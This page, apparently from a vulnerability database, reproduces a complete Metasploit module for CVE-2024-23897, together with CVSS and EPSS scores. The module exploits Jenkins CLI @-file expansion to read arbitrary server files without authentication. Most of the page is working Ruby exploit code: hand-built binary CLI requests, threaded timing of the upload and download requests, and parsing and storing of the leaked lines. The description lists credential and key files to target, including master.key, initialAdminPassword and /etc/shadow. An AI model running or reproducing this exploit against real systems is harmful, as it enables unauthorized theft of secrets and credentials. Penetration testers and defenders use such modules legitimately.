Lucene search

K
metasploitH00die, Yaniv Nizry, binganao, h4x0r-dz, VozecMSF:AUXILIARY-GATHER-JENKINS_CLI_AMPERSAND_ARBITRARY_FILE_READ-
HistoryJan 30, 2024 - 10:12 p.m.

Jenkins cli Ampersand Replacement Arbitrary File Read

2024-01-3022:12:10
h00die, Yaniv Nizry, binganao, h4x0r-dz, Vozec
www.rapid7.com
31
jenkins
cli protocol
arbitrary file read
args4j
timing requirements
injection point
file access
exploitation oddities
security document

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.958 High

EPSS

Percentile

99.4%

This module utilizes the Jenkins cli protocol to run the help command. The cli is accessible with read-only permissions by default, which are all thats required. Jenkins cli utilizes args4j's parseArgument, which calls expandAtFiles to replace any @ with the contents of a file. We are then able to retrieve the error message to read up to the first two lines of a file. Exploitation by hand can be done with the cli, see markdown documents for additional instructions. There are a few exploitation oddities: 1. The injection point for the help command requires 2 input arguments. When the expandAtFiles is called, each line of the FILE_PATH becomes an input argument. If a file only contains one line, it will throw an error: ERROR: You must authenticate to access this Jenkins. However, we can pad out the content by supplying a first argument. 2. There is a strange timing requirement where the download (or first) request must get to the server first, but the upload (or second) request must be very close behind it. From testing against the docker image, it was found values between .01 and 1.9 were viable. Due to the round trip time of the first request and response happening before request 2 would be received, it is necessary to use threading to ensure the requests happen within rapid succession. Files of value: * /var/jenkins_home/secret.key * /var/jenkins_home/secrets/master.key * /var/jenkins_home/secrets/initialAdminPassword * /etc/passwd * /etc/shadow * Project secrets and credentials * Source code, build artifacts

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Jenkins
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read',
        'Description' => %q{
          This module utilizes the Jenkins cli protocol to run the `help` command.
          The cli is accessible with read-only permissions by default, which are
          all thats required.

          Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
          replace any `@<filename>` with the contents of a file. We are then able to retrieve
          the error message to read up to the first two lines of a file.

          Exploitation by hand can be done with the cli, see markdown documents for additional
          instructions.

          There are a few exploitation oddities:
          1. The injection point for the `help` command requires 2 input arguments.
          When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
          If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
          However, we can pad out the content by supplying a first argument.
          2. There is a strange timing requirement where the `download` (or first) request must get
          to the server first, but the `upload` (or second) request must be very close behind it.
          From testing against the docker image, it was found values between `.01` and `1.9` were
          viable. Due to the round trip time of the first request and response happening before
          request 2 would be received, it is necessary to use threading to ensure the requests
          happen within rapid succession.

          Files of value:
          * /var/jenkins_home/secret.key
          * /var/jenkins_home/secrets/master.key
          * /var/jenkins_home/secrets/initialAdminPassword
          * /etc/passwd
          * /etc/shadow
          * Project secrets and credentials
          * Source code, build artifacts
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Yaniv Nizry', # discovery
          'binganao', # poc
          'h4x0r-dz', # poc
          'Vozec' # poc
        ],
        'References' => [
          [ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'],
          [ 'URL', 'https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/'],
          [ 'URL', 'https://github.com/binganao/CVE-2024-23897'],
          [ 'URL', 'https://github.com/h4x0r-dz/CVE-2024-23897'],
          [ 'URL', 'https://github.com/Vozec/CVE-2024-23897'],
          [ 'CVE', '2024-23897']
        ],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2024-01-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ ],
          'SideEffects' => [ ]
        },
        'DefaultOptions' => {
          'RPORT' => 8080,
          'HttpClientTimeout' => 3 # very quick response, so set this low
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),
        OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),
      ]
    )
    register_advanced_options(
      [
        OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.5]),
        OptString.new('ENCODING', [true, 'Encoding to use for reading the file', 'UTF-8']),
        OptString.new('LOCALITY', [true, 'Locality to use for reading the file', 'en_US'])
      ]
    )
  end

  def check
    version = jenkins_version

    return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.blank?

    version = Rex::Version.new(version)

    if version <= Rex::Version.new('2.426.2') || # LTS check
       (version >= Rex::Version.new('2.427') && version <= Rex::Version.new('2.441')) # non-lts
      return Exploit::CheckCode::Appears("Found exploitable version: #{version}")
    end

    Exploit::CheckCode::Safe("Found non-exploitable version: #{version}")
  end

  def request_header
    "\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00"
  end

  def request_footer
    data = []
    data << "\x00\x00\x00\x07\x02\x00"
    data << [datastore['ENCODING'].length].pack('C') # length of encoding string
    data << datastore['ENCODING']
    data << "\x00\x00\x00\x07\x01\x00"
    data << [datastore['LOCALITY'].length].pack('C') # length of locality string
    data << datastore['LOCALITY']
    data << "\x00\x00\x00\x00\x03"
    data
  end

  def parameter_one
    # a literal parameter of 1
    "\x03\x00\x00\x01\x31\x00\x00\x00"
  end

  def data_generator(pad: false)
    data = []
    data << request_header
    data << parameter_one if pad
    data << [datastore['FILE_PATH'].length + 3].pack('C').to_s
    data << "\x00\x00"
    data << [datastore['FILE_PATH'].length + 1].pack('C').to_s
    data << "\x40"
    data << datastore['FILE_PATH']
    data << request_footer
    data.join('')
  end

  def upload_request(uuid, multi_line_file: true)
    # send upload request asking for file

    # In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
    # which is required for successful exploitation
    sleep(datastore['DELAY'])
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cli'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/octet-stream',
      'headers' => {
        'Session' => uuid,
        'Side' => 'upload'
      },
      'vars_get' => {
        'remoting' => 'false'
      },
      'data' => data_generator(pad: multi_line_file)
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to upload request (response code: #{res.code})") unless res.code == 200
    # we don't get a response here, so we just need the request to go through and 200 us
  end

  def process_result(use_pad)
    # the output comes back as follows:

    # ERROR: Too many arguments: <line 2>
    # java -jar jenkins-cli.jar help
    #   [COMMAND]
    # Lists all the available commands or a detailed description of single command.
    #   COMMAND : Name of the command (default: <line 1>)

    # The main thing here is we get the first 2 lines of output from the file.
    # The 2nd line from the file is returned on line 1 of the output, and line
    # 1 from the file is returned on the last line of output. If padding was used
    # then <line 1> will just be a literal 1

    file_contents = []
    @content_body.split("\n").each do |html_response_line|
      # filter for the two lines which have output
      if html_response_line.include? 'ERROR: Too many arguments'
        file_contents << html_response_line.gsub('ERROR: Too many arguments: ', '').strip
      elsif html_response_line.include? 'COMMAND : Name of the command (default:'
        temp = html_response_line.gsub(' COMMAND : Name of the command (default: ', '')
        temp = temp.chomp(')').strip
        file_contents.insert(0, temp)
      end
    end
    return if file_contents.empty?

    # if we padded out, then our first line is 1, so drop that
    file_contents = file_contents.drop(1) if use_pad == true

    print_good("#{datastore['FILE_PATH']} file contents retrieved (first line or 2):\n#{file_contents.join("\n")}")
    stored_path = store_loot('jenkins.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])
    print_good("Results saved to: #{stored_path}")
  end

  def download_request(uuid)
    # send download request
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cli'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => {
        'Session' => uuid,
        'Side' => 'download'
      },
      'vars_get' => {
        'remoting' => 'false'
      }
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to download request (response code: #{res.code})") unless res.code == 200

    @content_body = res.body
  end

  def run
    uuid = SecureRandom.uuid

    print_status("Sending requests with UUID: #{uuid}")

    # Looking over the python PoCs, they all include threading however
    # the writeup, and PoCs don't mention a timing component.
    # However, during testing it was found that the two requests need to
    # hit the server nearly simultaneously, with the 'download' one hitting
    # first. During testing, even a .1 second slowdown was too much and
    # the server resulted in a 500 error. So we need to thread these to
    # execute them fast enough that the server gets both in rapid succession

    use_pad = false
    threads = []
    threads << framework.threads.spawn('CVE-2024-23897', false) do
      upload_request(uuid, multi_line_file: use_pad) # try single line file first since we get an error if we have more content to get
    end
    threads << framework.threads.spawn('CVE-2024-23897', false) do
      download_request(uuid)
    end

    threads.map do |t|
      t.join
    rescue StandardError
      nil
    end

    # we got an error that means we need to pad out our value, so rerun with pad
    if @content_body && @content_body.include?('ERROR: You must authenticate to access this Jenkins.')
      print_status('Re-attempting with padding for single line output file')
      use_pad = true
      threads = []
      threads << framework.threads.spawn('CVE-2024-23897-upload', false) do
        upload_request(uuid, multi_line_file: use_pad)
      end
      threads << framework.threads.spawn('CVE-2024-23897-download', false) do
        download_request(uuid)
      end

      threads.map do |t|
        t.join
      rescue StandardError
        nil
      end
    end

    if @content_body
      process_result(use_pad)
    else
      print_bad('Exploit failed, no exploit data was successfully returned')
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.958 High

EPSS

Percentile

99.4%